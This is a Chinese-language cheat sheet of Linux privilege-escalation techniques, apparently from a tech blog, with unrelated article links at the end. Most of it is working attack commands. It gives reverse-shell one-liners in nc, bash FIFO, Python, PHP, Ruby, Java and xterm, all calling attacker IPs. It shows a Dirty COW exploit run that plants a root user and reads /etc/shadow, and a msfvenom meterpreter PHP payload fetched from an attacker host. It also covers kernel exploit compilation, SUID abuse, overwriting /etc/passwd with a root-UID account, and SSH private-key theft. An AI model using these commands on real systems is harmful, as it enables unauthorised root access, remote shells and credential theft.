Linux提權(quán)技巧全面匯總
在Linux系統(tǒng)中,提權(quán)是指獲取更高的權(quán)限,這通常通過使用特定的命令或工具來完成,在這篇文章中,我們將探討一些常見的Linux提升權(quán)限的技巧:常用提權(quán)命令,反彈shell,獲取完整交互式SHELL,Linux內(nèi)核漏洞提權(quán),臟牛提權(quán),metasploit linux提權(quán),SUID提權(quán),passwd提權(quán),ssh密鑰提權(quán)
常用命令
uname -a #查看內(nèi)核/操作系統(tǒng)/cpu信息 hend -n 1 /etc/issue #查看操作系統(tǒng)版本 cat /proc/version #查看系統(tǒng)信息 hostname #查看計算機名 env #查看環(huán)境變量 ifconfig #查看網(wǎng)卡 netstat -lntp # 查看所有監(jiān)聽端口 netstat -antp # 查看所有已經(jīng)建立的連接 netstat -s # 查看網(wǎng)絡(luò)統(tǒng)計信息 iptables -L #查看防火墻設(shè)置 route -n # 查看路由表 ps -ef # 查看所有進程 top # 實時顯示進程狀態(tài) w # 查看活動用戶 id # 查看指定用戶信息 last # 查看用戶登錄日志 cut -d: -f1 /etc/passwd # 查看系統(tǒng)所有用戶 cut -d: -f1 /etc/group # 查看系統(tǒng)所有組 crontab -l # 查看當前用戶的計劃任務(wù) chkconfig –list # 列出所有系統(tǒng)服務(wù) chkconfig –list | grep on # 列出所有啟動的系統(tǒng)服務(wù) echo $PATH #查看系統(tǒng)路徑 which nc #查找nc的路徑
反彈shell
bash反彈
http://t.csdn.cn/IAItm
nc反彈
nc -e /bin/sh 192.168.10.128 6666 #但某些版本的nc沒有-e參數(shù)(非傳統(tǒng)版),則可使用以下方式解決 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 6666 >/tmp/f
python反彈
import socket,subprocess,os s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.10.128" , 6666 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call([ "/bin/bash" , "-i" ])
php反彈shell
php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'ruby反彈shell
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'java反彈shell
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
xterm反彈shell
xterm -display 10.0.0.1:1
獲取完整交互式SHELL
su root su:必須從終端中執(zhí)行
python偽終端
終端有些時候系統(tǒng)的命令終端不允許直接訪問,可以使用python虛擬化一個終端來執(zhí)行
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'Linux反彈shell解決亂碼
bash #從zsh切換到bash
nc -lvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z #將偽終端放置后臺任務(wù)
stty -echo raw #設(shè)置原始格式
fg %1 #再調(diào)用后臺任務(wù)(輸入時無顯示)
reset #初始化Linux內(nèi)核漏洞提權(quán)
利用堆棧溢出漏洞,根據(jù)當前系統(tǒng)尋找對應(yīng)的漏洞的exp,使用exp對其進行提權(quán)。
uname -a #查看內(nèi)核/操作系統(tǒng)/cpu信息 uname -v cat /proc/version #內(nèi)核信息 cat /etc/issue #發(fā)行信息 cat /etc/redhat-release #發(fā)行信息 lsb_release -a #顯示發(fā)行版本信息
Linux version 3.19.0-15-generic
Ubuntu 15.04 Release
根據(jù)linux的內(nèi)核版本查找對應(yīng)的exp
searchsploit -t Ubuntu 15.04 #只利用標題搜索 searchsploit -s Ubuntu 15.04 #執(zhí)行嚴格搜索,禁止對版本范圍進行模糊搜索 searchsploit -s Linux Kernel 3.19.0 searchsploit -x linux/local/37088.c #檢查或打開漏洞 searchsploit -m linux/local/37088.c #將一個漏洞復(fù)制到當前的工作目錄 wget http://192.168.10.128/37088.c -O /tmp/37088.c gcc 37088.c -o exp chmod +x exp ./exp
臟牛提權(quán) CVE-2016-5195
該漏洞是 Linux 內(nèi)核的內(nèi)存子系統(tǒng)在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導(dǎo)致可以破壞私有只讀內(nèi)存映射。黑客可以在獲取低權(quán)限的的本地用戶后,利用此漏洞獲取 其他只讀內(nèi)存映射的 寫權(quán)限,進一步獲取 root 權(quán)限。
漏洞范圍
以下是主流發(fā)行版修復(fù)之后的內(nèi)核版本,如果你的內(nèi)核版本低于列表里的版本,表示還存在臟牛漏洞
Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1 Linux內(nèi)核 >= 2.6.22(2007年發(fā)行,到2016年10月18日才修復(fù))
https://github.com/FireFart/dirtycow/blob/master/dirty.c wget http://192.168.10.128/dirty.c -O /tmp/dirty.c gcc -pthread dirty.c -o dirty -lcrypt chmod +x dirty ./dirty 123456 mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
su firefart
cat /etc/shadowmetasploit linux提權(quán)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > ./shell.php
file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php'));
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.10.128
set lport 12345
exploit
//訪問shell.php文件時就會獲取一個session
shell提權(quán)命令
使用模塊查詢漏洞
run post/multi/recon/local_exploit_suggester
getuid 查看當前用戶 shell 使用終端 https://www.exploit-db.com/exploits/37292 gcc 37292.c -o exp chmod +x exp ./exp
SUID提權(quán)
SUID是賦予文件的一種權(quán)限,它會出現(xiàn)在文件擁有者權(quán)限的執(zhí)行位上,具有這種權(quán)限的文件會在其執(zhí)行 時,使調(diào)用者暫時獲得該文件擁有者的權(quán)限。也就是如果ROOT用戶給某個可執(zhí)行文件加了S權(quán)限,那么 該執(zhí)行程序運行的時候?qū)碛蠷OOT權(quán)限。
chmod 4750 a.txt 4 說明 SUID 位被設(shè)置
SUID是一種對二進制程序進行設(shè)置的特殊權(quán)限,可以讓二進制程序的執(zhí)行者臨時擁有屬主的權(quán)限(僅對擁有執(zhí)行權(quán)限的二進制程序有效)。例如,所有用戶都可以執(zhí)行passwd命令來修改自己的用戶密碼,而用戶密碼保存在/etc/shadow文件中。仔細查看這個文件就會發(fā)現(xiàn)它的默認權(quán)限是000,也就是說除了root管理員以外,所有用戶都沒有查看或編輯該文件的權(quán)限。但是,在使用passwd命令時如果加上SUID特殊權(quán)限位,就可讓普通用戶臨時獲得程序所有者的身份,把變更的密碼信息寫入到shadow文件中。
ls -al /etc/shadow -rw-r----- ls -al /bin/passwd -rwsr-xr-x
查找SUID文件
以下命令可以發(fā)現(xiàn)系統(tǒng)上運行的所有SUID可執(zhí)行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
/表示從文件系統(tǒng)的頂部(根)開始并找到每個目錄
-perm 表示搜索隨后的權(quán)限
-u = s表示查找root用戶擁有的文件
-type表示我們正在尋找的文件類型
f 表示常規(guī)文件,而不是目錄或特殊文件
2表示該進程的第二個文件描述符,即stderr(標準錯誤)常見suid提權(quán)文件
nmap vim find more less bash cp Nano mv awk man wgets
https://gtfobins.github.io/
sudo install -m =xs $(which less) . ./less file_to_read
passwd提權(quán)
ls -al /etc/passwd -rw-rw-rw-- 1 cc cc 2242 7月 13 11:23 /etc/passwd #這里要求至少有w權(quán)限 root:x:0:0:root:/root:/bin/bash openssl passwd -1 -salt coleak a123 $1$coleak$ryLF7yBUFqHmhDrl7czEK1 coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash wget http://192.168.10.128/a -O /etc/passwd ssh coleak@192.168.10.157 #su coleak
ssh密鑰提權(quán)
查看擁有bash的用戶
cat /etc/passwd | grep bash find / -name authorized_keys -type f 2>/dev/null cd /home/webper/.ssh
.ssh下文件含義
id_rsa(私鑰)服務(wù)器上經(jīng)過rsa算法生成的私鑰。與公鑰是一對的密鑰對,用于連接其他服務(wù)器用。
id_rsa.pub(公鑰)服務(wù)器上經(jīng)過rsa算法生成的公鑰。與私鑰是一對的密鑰對,用于連接其他服務(wù)器用。將主機A的id_rsa.pub內(nèi)容copy到B主機的authorized_keys文件中,這樣A主機就能不通過密碼連接到B主機。
authorized_keys(授權(quán)文件)實現(xiàn)真正無密碼連接,即為授權(quán)文件,當把master的公鑰添加到authorized_keys文件中后,下次連接直接輸入ssh master即可,不需要再次輸入密碼。
如果目標有使用id_rsa私鑰進行登陸,并且我們有權(quán)限讀取
可以將id_rsa下載或復(fù)制下來使用私鑰進行登陸
md5sum id_rsa.pub md5sum authorized_keys chmod 600 id_rsa ssh -i id_rsa web1@192.168.10.153
相關(guān)文章
APACHE 配置文件中文版 httpd.conf FOR Apache 2.2.13
APACHE配置文件中文版 httpd.conf FOR Apache 2.2.13 ,綜合網(wǎng)上2.0版本的翻譯,加入自己的理解,補充完善。2009-11-11
Ubuntu Server 16.04安裝MySQL設(shè)置遠程訪問出現(xiàn)問題的完美解決方案(error:10061)
Ubuntu 16.04安裝MySQL及需要其他主機遠程連接MySQL時的設(shè)置問題。在安裝過程中會出現(xiàn)各種奇葩問題,下面小編給大家?guī)砹薝buntu Server 16.04安裝MySQL設(shè)置遠程訪問出現(xiàn)問題的完美解決方案(error:10061),一起看看吧2016-10-10
linux下用tar命令將當前目錄下文件按子目錄壓縮歸檔的實現(xiàn)
下面小編就為大家?guī)硪黄猯inux下用tar命令將當前目錄下文件按子目錄壓縮歸檔的實現(xiàn)。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2016-12-12
Centos環(huán)境下安裝Zend optimizer 3.3.9的方法
這篇文章主要介紹了Centos環(huán)境下安裝Zend optimizer 3.3.9的方法,簡單說明了CentOS服務(wù)器環(huán)境下安裝Zend optimizer 3.3.9的相關(guān)下載、解壓、安裝、配置等操作步驟與相關(guān)注意事項,需要的朋友可以參考下2018-03-03
Apache中偽靜態(tài)Rewrite的使用方法和URL重寫規(guī)則表達式講解
apache中的mod_rewrite模塊提供了一個基于正則表達式分析器的重寫引擎來實時重寫URL請求,主要的功能就是實現(xiàn)URL的跳轉(zhuǎn),它的正則表達式是基于Perl語言??苫诜?wù)器級的(httpd.conf)和目錄級的(.htaccess)兩種方式,允許通過它來改變Apache?Web服務(wù)器的配置。2022-11-11

